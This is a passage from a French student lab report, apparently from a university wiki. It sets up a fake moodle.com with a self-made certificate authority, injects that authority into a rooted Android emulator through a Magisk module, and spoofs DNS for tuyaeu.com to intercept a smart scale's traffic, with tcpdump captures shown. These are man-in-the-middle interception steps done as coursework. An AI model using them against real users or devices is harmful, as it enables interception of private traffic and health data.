Dans cette partie, on ajoute une règle &amp;lt;code&amp;gt;iptables&amp;lt;/code&amp;gt; pour rediriger le flux TCP vers un port local, le &amp;lt;code&amp;gt;8080&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;iptables -t nat -A PREROUTING -i eth0  -p tcp --dport 80 -j REDIRECT --to-ports 8080&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
Chain PREROUTING (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
    0     0 REDIRECT   6    --  eth0   *       0.0.0.0/0            0.0.0.0/0            tcp dpt:80 redir ports 8080&lt;br /&gt;
&lt;br /&gt;
Chain INPUT (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain OUTPUT (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain POSTROUTING (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
  385  133K MASQUERADE  0    --  *      eth0    172.16.10.0/24       0.0.0.0/0&lt;br /&gt;
    0     0 MASQUERADE  0    --  *      eth0    172.16.10.0/24       0.0.0.0/0&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Serveur apache sécurise (04/10) ==&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps, on va créer un certificat auto-signé :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;openssl req -x509 -nodes -days 365   -newkey rsa:2048   -keyout /etc/ssl/apache/apache-selfsigned.key   -out /etc/ssl/apache/apache-selfsigned.crt   -subj &amp;quot;/C=FR/ST=Nord/L=Lille/O=Popo/CN=moodle.com&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Puis, on configure &amp;lt;code&amp;gt;Apache2&amp;lt;/code&amp;gt;&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
  GNU nano 7.2      /etc/apache2/sites-available/secure-site.conf&lt;br /&gt;
&amp;lt;VirtualHost *:443&amp;gt;&lt;br /&gt;
    ServerName moodle.com&lt;br /&gt;
&lt;br /&gt;
    DocumentRoot /var/www/html&lt;br /&gt;
&lt;br /&gt;
    SSLEngine on&lt;br /&gt;
    SSLCertificateFile /etc/ssl/apache/apache.crt&lt;br /&gt;
    SSLCertificateKeyFile /etc/ssl/apache/apache.key&lt;br /&gt;
&lt;br /&gt;
    # Optionnel : log&lt;br /&gt;
    ErrorLog ${APACHE_LOG_DIR}/ssl-error.log&lt;br /&gt;
    CustomLog ${APACHE_LOG_DIR}/ssl-access.log combined&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
# Redirection HTTP  ^f^r HTTPS&lt;br /&gt;
&amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
    ServerName moodle.com&lt;br /&gt;
    Redirect permanent / https://moodle.com/&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Maintenant, en prévision de la suite (voir explication dans Machine virtuelle Android), on va créer une autorité de certification nommée CertiFiable :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;openssl req -x509 -new -nodes -keyout ca.key -sha256 -days 365 -out ca.crt -subj &amp;quot;/CN=CertiFiable&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Puis, on vient générer une demande de signature de certificat :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;openssl req -new -newkey rsa:2048 -nodes -keyout apache.key -out apache.csr -subj &amp;quot;/CN=moodle.com&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Enfin, on vient signer le site avec le certificat de CertiFiable :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;openssl x509 -req -in apache.csr -CA ca.crt -CAkey ca.key -CAcreateserial -out apache.crt -days 365 -sha256&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Machine virtuelle &amp;lt;code&amp;gt;android&amp;lt;/code&amp;gt; =&lt;br /&gt;
&lt;br /&gt;
== Première tentative ==&lt;br /&gt;
Actuellement, si on navigue sur internet et que l'on se rend sur moodle.com, on atterrit bien sûr le faux Moodle, mais comme le téléphone ne connait pas l'autorité de certification nommé CertiFiable, on a le droit à ce magnifique message de connexion non sécurisée :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Avertissement moodle.png|sans_cadre]][[Fichier:Moodle le magnifique.png|sans_cadre]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Malheureusement, il est aujourd'hui impossible d'ajouter facilement une autorité de certification sur son téléphone.&lt;br /&gt;
&lt;br /&gt;
C'est pour cela qu'une solution proposée est d'installer une machine virtuelle d'une ancienne version d'&amp;lt;code&amp;gt;Android&amp;lt;/code&amp;gt; où il était possible d'en ajouter.&lt;br /&gt;
&lt;br /&gt;
En ayant suivi ce tuto (https://help.clouding.io/hc/en-us/articles/4405454393756-How-to-virtualize-Android-with-QEMU-KVM), j'ai réussi à installer une VM sur Zabeth4 (j'ai dû prendre une autre iso car celle du site était inaccessible). &lt;br /&gt;
&lt;br /&gt;
J'ai installé &amp;lt;code&amp;gt;VNC Viewer&amp;lt;/code&amp;gt; pour pouvoir manipuler la machine virtuelle.&lt;br /&gt;
&lt;br /&gt;
En étant sur la VM, j'ai pu me rendre compte qu'il n'était pas possible de se connecter au WiFi, c'est la connexion du pc qui est simulé comme un réseau WiFi dans la VM.&lt;br /&gt;
&lt;br /&gt;
J'ai pu réfléchir à deux solutions avant que la VM ne crash d'elle-même et soit impossible à redémarrer...&lt;br /&gt;
&lt;br /&gt;
La première est toute simple, connecter la Zabeth directement au WiFi, ce qui est difficile à distance. La seconde, qui est je pense possible, est de changer la carte réseau dans les fichiers de conf de la VM pour mettre celle supportant le WiFi.&lt;br /&gt;
&lt;br /&gt;
Je n'ai donc pu tester aucune de ces deux solutions, la VM n'étant plus.&lt;br /&gt;
&lt;br /&gt;
== Seconde tentative ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
qemu-system-x86_64 -net nic -net user -m 1024 -enable-kvm -display sdl -drive file=android.img,format=raw&lt;br /&gt;
&lt;br /&gt;
qemu-system-x86_64 -net nic -net user -m 1024 -enable-kvm -display sdl -drive file=android.img,format=raw -cdrom *android-x86*.iso -boot d&lt;br /&gt;
&lt;br /&gt;
qemu-system-x86_64     -m 2048     -enable-kvm     -cpu host     -smp 2     -display sdl     -drive file=android.img,format=raw,if=virtio     -usb     -device usb-host,vendorid=0x148f,productid=0x5370&lt;br /&gt;
&lt;br /&gt;
== Ultime tentative ==&lt;br /&gt;
Cette fois ci j'utilise l'application Android Studio qui permet d'émuler des téléphones Android pour le débogage d'application. On va donc s'en servir pour créer un Android routé qui va recevoir notre certificat.&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps j'ai donc routé mon téléphone avec l'utilitaire Magisik en suivant ce tutoriel : https://www.youtube.com/watch?v=QzsNn3GhYYk&amp;amp;t=374s.&lt;br /&gt;
&lt;br /&gt;
Puis je viens ajouter un module dans Magisk qui permet de recharger à chaque demarrage du téléphone le certificat en question.&lt;br /&gt;
&lt;br /&gt;
Le certificat peut être ajouter dans le téléphone en utilisant la commande &amp;lt;code&amp;gt;adb push xyzxyzxyz.0&amp;lt;/code&amp;gt; .&lt;br /&gt;
&lt;br /&gt;
La manipulation est la suivante :&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
adb shell&lt;br /&gt;
su&lt;br /&gt;
cd /data/adb/modules/&lt;br /&gt;
mkdir -p tuya_cert/system/etc/security/cacerts&lt;br /&gt;
echo &amp;quot;id=tuya_cert&amp;quot; &amp;gt; tuya_cert/module.prop echo &amp;quot;name=Tuya Certificate Injection&amp;quot; &amp;gt;&amp;gt; tuya_cert/module.prop echo &amp;quot;version=1.0&amp;quot; &amp;gt;&amp;gt; tuya_cert/module.prop echo &amp;quot;versionCode=1&amp;quot; &amp;gt;&amp;gt; tuya_cert/module.prop echo &amp;quot;author=Victo&amp;quot; &amp;gt;&amp;gt; tuya_cert/module.prop echo &amp;quot;description=Injecte le certificat Tuya dans le systeme&amp;quot; &amp;gt;&amp;gt; tuya_cert/module.prop&lt;br /&gt;
touch tuya_cert/auto_mount&lt;br /&gt;
cp /sdcard/Download/26e33623.0 /data/adb/modules/tuya_cert/system/etc/security/cacerts/&lt;br /&gt;
chmod 644 /data/adb/modules/tuya_cert/system/etc/security/cacerts/26e33623.0&lt;br /&gt;
chown root:root /data/adb/modules/tuya_cert/system/etc/security/cacerts/26e33623.0&lt;br /&gt;
reboot&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;On a donc maintenant une VM Android avec notre certificat. Il faut maintenant que le PC qui host cette VM soit connecté à notre borne WiFi pour pouvoir constater que notre site Moodle.com est bien redirigé et sécurisé. &lt;br /&gt;
&lt;br /&gt;
= Machine &amp;lt;code&amp;gt;Android&amp;lt;/code&amp;gt; (06/10) =&lt;br /&gt;
Pour cette dernière partie, j'ai retrouvé une tablette sous &amp;lt;code&amp;gt;Android 4.4 KitKat&amp;lt;/code&amp;gt; qui permet d'ajouter des autorités de certification.&lt;br /&gt;
&lt;br /&gt;
C'est donc ce que j'ai fait :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Photo_certifiable.png|sans_cadre]]&lt;br /&gt;
&lt;br /&gt;
Maintenant, on constate en se connectant sur moodle.com à partir de cette tablette que l'on est bien redirigé vers le faux site et qu'il est sécurisé avec le magnifique cadenas vert.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Photo moodle.png|sans_cadre]]&lt;br /&gt;
&lt;br /&gt;
(cette page web date du 06/10/25, elle n'est plus valable depuis le 10/10/25...)&lt;br /&gt;
&lt;br /&gt;
= Nedis Wi-Fi Smart Personal Scales =&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans ce second TP, nous allons jouer avec ce pèse personne de nedis. &lt;br /&gt;
&lt;br /&gt;
Dans un premier temps, j'ai connecté la balance au réseau SE5-SSID10.&lt;br /&gt;
&lt;br /&gt;
Puis j'ai remarqué que quand je tentais de me peser, la balance affichait err2.&lt;br /&gt;
&lt;br /&gt;
Après une courte investigation, il s'agit d'une balance qui émet des signaux électriques pour analyser la composition corporelle donc si on se pèse avec des chaussures, cela pose problème.&lt;br /&gt;
&lt;br /&gt;
Pour la suite du projet, on se pèsera avec les mains.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Poid_sur_app_nedis.png|sans_cadre]]&lt;br /&gt;
&lt;br /&gt;
== Redirection du poids vers notre serveur ==&lt;br /&gt;
Dans un premier temps, mon idée était de faire croire à la balance qu'elle communique effectivement avec son serveur pour pouvoir récupérer les informations sur la santé de l'utilisateur. &lt;br /&gt;
&lt;br /&gt;
Ici on constate sur ces paquets la requête de la balance pour obtenir une IP, puis le moment ou elle l'obtient.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Fichier:WS connection balance.png|sans_cadre|858x858px]]&lt;br /&gt;
&lt;br /&gt;
Je peux donc ping ma balance depuis mon pc (celui qui host ma VM android)&lt;br /&gt;
&lt;br /&gt;
[[Fichier:PIng balance.png|sans_cadre]]&lt;br /&gt;
&lt;br /&gt;
Maintenant je veux voir les messages de communication entre la balance, son serveur et l'application, pour ce faire je fais &amp;lt;code&amp;gt;tcpdump -i eth1 -n port 53&amp;lt;/code&amp;gt; :&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
14:46:51.115996 IP 172.16.10.105.49153 &amp;gt; 172.16.10.1.53: 13861+ A? m2.tuyaeu.com. (31)&lt;br /&gt;
14:46:51.125611 IP 172.16.10.1.53 &amp;gt; 172.16.10.105.49153: 13861 3/0/0 A 3.120.92.134, A 18.184.31.90, A 35.156.44.172 (79)&lt;br /&gt;
14:46:51.168250 IP 172.16.10.105.49153 &amp;gt; 172.16.10.1.53: 59035+ A? a3.tuyaeu.com. (31)&lt;br /&gt;
14:46:51.177967 IP 172.16.10.1.53 &amp;gt; 172.16.10.105.49153: 59035 3/0/0 A 18.198.62.99, A 18.158.227.228, A 3.67.116.46 (79)&lt;br /&gt;
14:46:51.703179 IP 172.16.10.102.57661 &amp;gt; 172.16.10.1.53: 30982+ AAAA? a1.tuyaeu.com. (31)&lt;br /&gt;
14:46:51.706085 IP 172.16.10.102.57662 &amp;gt; 172.16.10.1.53: 15654+ A? a1.tuyaeu.com. (31)&lt;br /&gt;
14:46:51.713159 IP 172.16.10.1.53 &amp;gt; 172.16.10.102.57661: 30982 3/0/0 AAAA 2a05:d014:afa:af02:262a:be09:e328:ff21, AAAA 2a05:d014:afa:af01:87dc:dc67:35a1:5bfe, AAAA 2a05:d014:afa:af00:1ee2:1f00:e061:e8bf (115)&lt;br /&gt;
14:46:51.715736 IP 172.16.10.1.53 &amp;gt; 172.16.10.102.57662: 15654 3/0/0 A 3.78.92.3, A 35.159.150.3, A 3.121.33.91 (79)&lt;br /&gt;
&lt;br /&gt;
56 packets captured&lt;br /&gt;
56 packets received by filter&lt;br /&gt;
0 packets dropped by kernel&lt;br /&gt;
[4343449.827028] device eth1 left promiscuous mode&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;visiblement notre balance communique avec tuya via m2.tuyaeu.com et a3.tuyaeu.com. Par la suite on constate qu'elle communique avec une multitude de XY.tuyaeu.com.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Maintenant on refait une config similaire à moodle.com, une zone &amp;quot;tuyaeu.com&amp;quot; dans le fichier de conf de bind, un fichier db.tuyaeu.com et une page apache. Enfin on vient la signer avec notre autorité de certification.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;tcpdump -i eth1 -n port 53&amp;lt;/code&amp;gt; :&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
12:30:58.490060 IP 172.16.10.105.49153 &amp;gt; 172.16.10.1.53: 50294+ A? m2.tuyaeu.com. (31)&lt;br /&gt;
12:30:58.490174 IP 172.16.10.1.53 &amp;gt; 172.16.10.105.49153: 50294* 2/0/0 CNAME ns.tuyaeu.com., A 172.16.10.1 (64)&lt;br /&gt;
12:30:58.540041 IP 172.16.10.105.49153 &amp;gt; 172.16.10.1.53: 23785+ A? a3.tuyaeu.com. (31)&lt;br /&gt;
12:30:58.540132 IP 172.16.10.1.53 &amp;gt; 172.16.10.105.49153: 23785* 2/0/0 CNAME ns.tuyaeu.com., A 172.16.10.1 (64)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Maintenant on constate que quand la balance demande l'adresse du serveur xy.tuyaeu.com, notre DNS lui repond avec l'IP de notre serveur. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
tcpdump -i eth1 host 172.16.10.105 and not port 53 -A&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode&lt;br /&gt;
listening on eth1, link-type EN10MB (Ethernet), snapshot length 262144 bytes&lt;br /&gt;
12:36:41.148741 IP 172.16.10.0.bootps &amp;gt; 172.16.10.105.bootpc: BOOTP/DHCP, Reply, length 300&lt;br /&gt;
E..H..........&lt;br /&gt;
...&lt;br /&gt;
i.C.D.4......&amp;lt;\)...........&lt;br /&gt;
i..........|.-L........................................................................................................&lt;br /&gt;
..................................................................................................c.Sc5..6...&lt;br /&gt;
.3....X..........&lt;br /&gt;
.....&lt;br /&gt;
..	plil.info................&lt;br /&gt;
12:36:41.161323 IP 172.16.10.0.bootps &amp;gt; 172.16.10.105.bootpc: BOOTP/DHCP, Reply, length 300&lt;br /&gt;
E..H..........&lt;br /&gt;
...&lt;br /&gt;
i.C.D.4g.....[.}T..........&lt;br /&gt;
i..........|.-L........................................................................................................&lt;br /&gt;
..................................................................................................c.Sc5..6...&lt;br /&gt;
.3....X..........&lt;br /&gt;
.....&lt;br /&gt;
..	plil.info................&lt;br /&gt;
12:36:41.167616 ARP, Request who-has 172.16.10.105 tell 0.0.0.0, length 46&lt;br /&gt;
..........|.-L............&lt;br /&gt;
i....P....Y...c....&lt;br /&gt;
12:36:41.490919 ARP, Request who-has 172.16.10.105 tell 0.0.0.0, length 46&lt;br /&gt;
..........|.-L............&lt;br /&gt;
i.r.u....).........&lt;br /&gt;
12:36:41.993612 ARP, Request who-has 172.16.10.105 tell 172.16.10.105, length 46&lt;br /&gt;
..........|.-L..&lt;br /&gt;
i........&lt;br /&gt;
i..HE.....f........&lt;br /&gt;
12:36:42.011664 ARP, Request who-has 172.16.10.1 tell 172.16.10.105, length 46&lt;br /&gt;
..........|.-L..&lt;br /&gt;
i........&lt;br /&gt;
.....up. ..........&lt;br /&gt;
12:36:42.011672 ARP, Reply 172.16.10.1 is-at 00:16:3e:23:74:42 (oui Unknown), length 28&lt;br /&gt;
..........&amp;gt;#tB..&lt;br /&gt;
...|.-L..&lt;br /&gt;
i&lt;br /&gt;
12:36:42.019053 IP 172.16.10.105.3872 &amp;gt; 172.16.10.1.8886: Flags [S], seq 6509, win 4380, options [mss 1460], length 0&lt;br /&gt;
E..,......O&amp;gt;..&lt;br /&gt;
i..&lt;br /&gt;
.. &amp;quot;....m....`....&amp;lt;........&lt;br /&gt;
12:36:42.019100 IP 172.16.10.1.8886 &amp;gt; 172.16.10.105.3872: Flags [R.], seq 0, ack 6510, win 0, length 0&lt;br /&gt;
E..(..@.@..E..&lt;br /&gt;
...&lt;br /&gt;
i&amp;quot;.. .......nP.......&lt;br /&gt;
12:36:42.070419 IP 172.16.10.105.17034 &amp;gt; 172.16.10.1.https: Flags [S], seq 6509, win 4380, options [mss 1460], length 0&lt;br /&gt;
E..,......O&amp;lt;..&lt;br /&gt;
i..&lt;br /&gt;
.B......m....`...........&amp;lt;.&lt;br /&gt;
12:36:42.070442 IP 172.16.10.1.https &amp;gt; 172.16.10.105.17034: Flags [S.], seq 3767910189, ack 6510, win 64240, options [m&lt;br /&gt;
ss 1460], length 0&lt;br /&gt;
E..,..@.@..A..&lt;br /&gt;
...&lt;br /&gt;
i..B....-...n`...l.......&lt;br /&gt;
12:36:42.077437 IP 172.16.10.105.17034 &amp;gt; 172.16.10.1.https: Flags [.], ack 1, win 4380, length 0&lt;br /&gt;
E..(......O?..&lt;br /&gt;
i..&lt;br /&gt;
.B......n....P...4......&lt;br /&gt;
..&lt;br /&gt;
12:36:42.079986 IP 172.16.10.105.17034 &amp;gt; 172.16.10.1.https: Flags [P.], seq 1:68, ack 1, win 4380, length 67&lt;br /&gt;
E..k......N...&lt;br /&gt;
i..&lt;br /&gt;
.B......n....P...........&amp;gt;...:..BAohBAohbmd6aG91IFR1eVjaG5vbG9SB........................&lt;br /&gt;
12:36:42.080012 IP 172.16.10.1.https &amp;gt; 172.16.10.105.17034: Flags [.], ack 68, win 64173, length 0&lt;br /&gt;
E..(..@.@.....&lt;br /&gt;
...&lt;br /&gt;
i..B.........P...l...&lt;br /&gt;
12:36:42.080447 IP 172.16.10.1.https &amp;gt; 172.16.10.105.17034: Flags [P.], seq 1:8, ack 68, win 64173, length 7&lt;br /&gt;
E../..@.@.....&lt;br /&gt;
...&lt;br /&gt;
i..B.........P...l.........(&lt;br /&gt;
12:36:42.080533 IP 172.16.10.1.https &amp;gt; 172.16.10.105.17034: Flags [F.], seq 8, ack 68, win 64173, length 0&lt;br /&gt;
E..(..@.@.....&lt;br /&gt;
...&lt;br /&gt;
i..B....5....P...l...&lt;br /&gt;
12:36:42.101652 IP 172.16.10.105.17034 &amp;gt; 172.16.10.1.https: Flags [.], ack 8, win 4373, length 0&lt;br /&gt;
E..(.	....O&amp;lt;..&lt;br /&gt;
i..&lt;br /&gt;
.B..........5P...4s........&lt;br /&gt;
12:36:42.102116 IP 172.16.10.105.17034 &amp;gt; 172.16.10.1.https: Flags [R.], seq 68, ack 8, win 4380, length 0&lt;br /&gt;
E..(.&lt;br /&gt;
....O;..&lt;br /&gt;
i..&lt;br /&gt;
.B..........5P...4h.....&lt;br /&gt;
..&lt;br /&gt;
12:36:43.025368 IP 172.16.10.105.23869 &amp;gt; 172.16.10.1.8886: Flags [S], seq 6511, win 4380, options [mss 1460], length 0&lt;br /&gt;
E..,......O6..&lt;br /&gt;
i..&lt;br /&gt;
.]=&amp;quot;....o....`............9&lt;br /&gt;
12:36:43.025387 IP 172.16.10.1.8886 &amp;gt; 172.16.10.105.23869: Flags [R.], seq 0, ack 6512, win 0, length 0&lt;br /&gt;
E..(..@.@..E..&lt;br /&gt;
...&lt;br /&gt;
i&amp;quot;.]=.......pP.......&lt;br /&gt;
12:36:44.025225 IP 172.16.10.105.22317 &amp;gt; 172.16.10.1.8886: Flags [S], seq 6513, win 4380, options [mss 1460], length 0&lt;br /&gt;
E..,......O5..&lt;br /&gt;
i..&lt;br /&gt;
.W-&amp;quot;....q....`....+........&lt;br /&gt;
12:36:44.025269 IP 172.16.10.1.8886 &amp;gt; 172.16.10.105.22317: Flags [R.], seq 0, ack 6514, win 0, length 0&lt;br /&gt;
E..(..@.@..E..&lt;br /&gt;
...&lt;br /&gt;
i&amp;quot;.W-.......rP.......&lt;br /&gt;
12:36:45.025301 IP 172.16.10.105.31465 &amp;gt; 172.16.10.1.8886: Flags [S], seq 6517, win 4380, options [mss 1460], length 0&lt;br /&gt;
E..,......O4..&lt;br /&gt;
i..&lt;br /&gt;
.z.&amp;quot;....u....`...ck......E.&lt;br /&gt;
12:36:45.025318 IP 172.16.10.1.8886 &amp;gt; 172.16.10.105.31465: Flags [R.], seq 0, ack 6518, win 0, length 0&lt;br /&gt;
E..(..@.@..E..&lt;br /&gt;
...&lt;br /&gt;
i&amp;quot;.z........vP....0..&lt;br /&gt;
12:36:46.025500 IP 172.16.10.105.9070 &amp;gt; 172.16.10.1.8886: Flags [S], seq 6521, win 4380, options [mss 1460], length 0&lt;br /&gt;
E..,......O3..&lt;br /&gt;
i..&lt;br /&gt;
.#n&amp;quot;....y....`.............&lt;br /&gt;
12:36:46.025517 IP 172.16.10.1.8886 &amp;gt; 172.16.10.105.9070: Flags [R.], seq 0, ack 6522, win 0, length 0&lt;br /&gt;
E..(..@.@..E..&lt;br /&gt;
...&lt;br /&gt;
i&amp;quot;.#n.......zP.......&lt;br /&gt;
12:36:47.033189 IP 172.16.10.105.51179 &amp;gt; 172.16.10.1.8886: Flags [S], seq 6527, win 4380, options [mss 1460], length 0&lt;br /&gt;
E..,......O2..&lt;br /&gt;
i..&lt;br /&gt;
...&amp;quot;.........`...._......y.&lt;br /&gt;
12:36:47.033206 IP 172.16.10.1.8886 &amp;gt; 172.16.10.105.51179: Flags [R.], seq 0, ack 6528, win 0, length 0&lt;br /&gt;
E..(..@.@..E..&lt;br /&gt;
...&lt;br /&gt;
i&amp;quot;...........P...?$..&lt;br /&gt;
12:36:47.263020 ARP, Request who-has 172.16.10.105 tell 172.16.10.1, length 28&lt;br /&gt;
..........&amp;gt;#tB..&lt;br /&gt;
.........&lt;br /&gt;
i&lt;br /&gt;
12:36:48.287049 ARP, Request who-has 172.16.10.105 tell 172.16.10.1, length 28&lt;br /&gt;
..........&amp;gt;#tB..&lt;br /&gt;
.........&lt;br /&gt;
i&lt;br /&gt;
12:36:48.653641 IP 172.16.10.0.bootps &amp;gt; 172.16.10.105.bootpc: BOOTP/DHCP, Reply, length 300&lt;br /&gt;
E..H..........&lt;br /&gt;
...&lt;br /&gt;
i.C.D.4B...................&lt;br /&gt;
i..........|.-L........................................................................................................&lt;br /&gt;
..................................................................................................c.Sc5..6...&lt;br /&gt;
.3....Q..........&lt;br /&gt;
.....&lt;br /&gt;
..	plil.info................&lt;br /&gt;
12:36:48.663352 IP 172.16.10.0.bootps &amp;gt; 172.16.10.105.bootpc: BOOTP/DHCP, Reply, length 300&lt;br /&gt;
E..H..........&lt;br /&gt;
...&lt;br /&gt;
i.C.D.4.L.......p..........&lt;br /&gt;
i..........|.-L........................................................................................................&lt;br /&gt;
..................................................................................................c.Sc5..6...&lt;br /&gt;
.3....Q..........&lt;br /&gt;
.....&lt;br /&gt;
..	plil.info................&lt;br /&gt;
12:36:48.674677 ARP, Request who-has 172.16.10.105 tell 0.0.0.0, length 46&lt;br /&gt;
..........|.-L............&lt;br /&gt;
i&amp;gt;#tB./..P.........&lt;br /&gt;
12:36:48.993649 ARP, Request who-has 172.16.10.105 tell 0.0.0.0, length 46&lt;br /&gt;
..........|.-L............&lt;br /&gt;
ir...P.............&lt;br /&gt;
12:36:49.311055 ARP, Request who-has 172.16.10.105 tell 172.16.10.1, length 28&lt;br /&gt;
..........&amp;gt;#tB..&lt;br /&gt;
.........&lt;br /&gt;
i&lt;br /&gt;
12:36:49.490922 ARP, Request who-has 172.16.10.105 tell 172.16.10.105, length 46&lt;br /&gt;
..........|.-L..&lt;br /&gt;
i........&lt;br /&gt;
i.......x....D.....&lt;br /&gt;
12:36:49.492262 ARP, Reply 172.16.10.105 is-at a4:e5:7c:16:2d:4c (oui Unknown), length 46&lt;br /&gt;
..........|.-L..&lt;br /&gt;
i..&amp;gt;#tB..&lt;br /&gt;
...................&lt;br /&gt;
12:36:49.515651 IP 172.16.10.105.29415 &amp;gt; 172.16.10.1.8886: Flags [S], seq 6536, win 4380, options [mss 1460], length 0&lt;br /&gt;
E..,......O...&lt;br /&gt;
i..&lt;br /&gt;
.r.&amp;quot;.........`...kZ........&lt;br /&gt;
12:36:49.515669 IP 172.16.10.1.8886 &amp;gt; 172.16.10.105.29415: Flags [R.], seq 0, ack 6537, win 0, length 0&lt;br /&gt;
E..(..@.@..E..&lt;br /&gt;
...&lt;br /&gt;
i&amp;quot;.r.........P.......&lt;br /&gt;
12:36:49.518628 IP 172.16.10.105.31325 &amp;gt; 172.16.10.1.https: Flags [S], seq 6539, win 4380, options [mss 1460], length 0&lt;br /&gt;
E..,......O-..&lt;br /&gt;
i..&lt;br /&gt;
.z]..........`.............&lt;br /&gt;
12:36:49.518648 IP 172.16.10.1.https &amp;gt; 172.16.10.105.31325: Flags [S.], seq 1378912894, ack 6540, win 64240, options [m&lt;br /&gt;
ss 1460], length 0&lt;br /&gt;
E..,..@.@..A..&lt;br /&gt;
...&lt;br /&gt;
i..z]R0.~....`...l.......&lt;br /&gt;
12:36:49.523505 IP 172.16.10.105.31325 &amp;gt; 172.16.10.1.https: Flags [.], ack 1, win 4380, length 0&lt;br /&gt;
E..(......O0..&lt;br /&gt;
i..&lt;br /&gt;
.z]......R0..P........a3.tu&lt;br /&gt;
12:36:49.527055 IP 172.16.10.105.31325 &amp;gt; 172.16.10.1.https: Flags [P.], seq 1:68, ack 1, win 4380, length 67&lt;br /&gt;
E..k......N...&lt;br /&gt;
i..&lt;br /&gt;
.z]......R0..P...G?......&amp;gt;...:..BAohBAohbmd6aG91IFR1eVjaG5vbG9SB........................&lt;br /&gt;
12:36:49.527081 IP 172.16.10.1.https &amp;gt; 172.16.10.105.31325: Flags [.], ack 68, win 64173, length 0&lt;br /&gt;
E..(..@.@..X..&lt;br /&gt;
...&lt;br /&gt;
i..z]R0......P...l...&lt;br /&gt;
12:36:49.527462 IP 172.16.10.1.https &amp;gt; 172.16.10.105.31325: Flags [P.], seq 1:8, ack 68, win 64173, length 7&lt;br /&gt;
E../..@.@..P..&lt;br /&gt;
...&lt;br /&gt;
i..z]R0......P...l.........(&lt;br /&gt;
12:36:49.527530 IP 172.16.10.1.https &amp;gt; 172.16.10.105.31325: Flags [F.], seq 8, ack 68, win 64173, length 0&lt;br /&gt;
E..(..@.@..V..&lt;br /&gt;
...&lt;br /&gt;
i..z]R0......P...l...&lt;br /&gt;
12:36:49.569636 IP 172.16.10.105.31325 &amp;gt; 172.16.10.1.https: Flags [.], ack 8, win 4373, length 0&lt;br /&gt;
E..(......O...&lt;br /&gt;
i..&lt;br /&gt;
.z]......R0..P..........C.@&lt;br /&gt;
12:36:49.574893 IP 172.16.10.105.31325 &amp;gt; 172.16.10.1.https: Flags [R.], seq 68, ack 8, win 4380, length 0&lt;br /&gt;
E..(......O-..&lt;br /&gt;
i..&lt;br /&gt;
.z]......R0..P..........&lt;br /&gt;
..&lt;br /&gt;
12:36:50.310055 ARP, Request who-has 172.16.10.105 tell 172.16.10.105, length 46&lt;br /&gt;
..........|.-L..&lt;br /&gt;
i........&lt;br /&gt;
i........ ....&amp;gt;....&lt;br /&gt;
12:36:53.526624 IP 172.16.10.105.48314 &amp;gt; 172.16.10.1.8886: Flags [S], seq 6547, win 4380, options [mss 1460], length 0&lt;br /&gt;
E..,......O&amp;amp;..&lt;br /&gt;
i..&lt;br /&gt;
...&amp;quot;.........`...!|........&lt;br /&gt;
12:36:53.526669 IP 172.16.10.1.8886 &amp;gt; 172.16.10.105.48314: Flags [R.], seq 0, ack 6548, win 0, length 0&lt;br /&gt;
E..(..@.@..E..&lt;br /&gt;
...&lt;br /&gt;
i&amp;quot;...........P...JA..&lt;br /&gt;
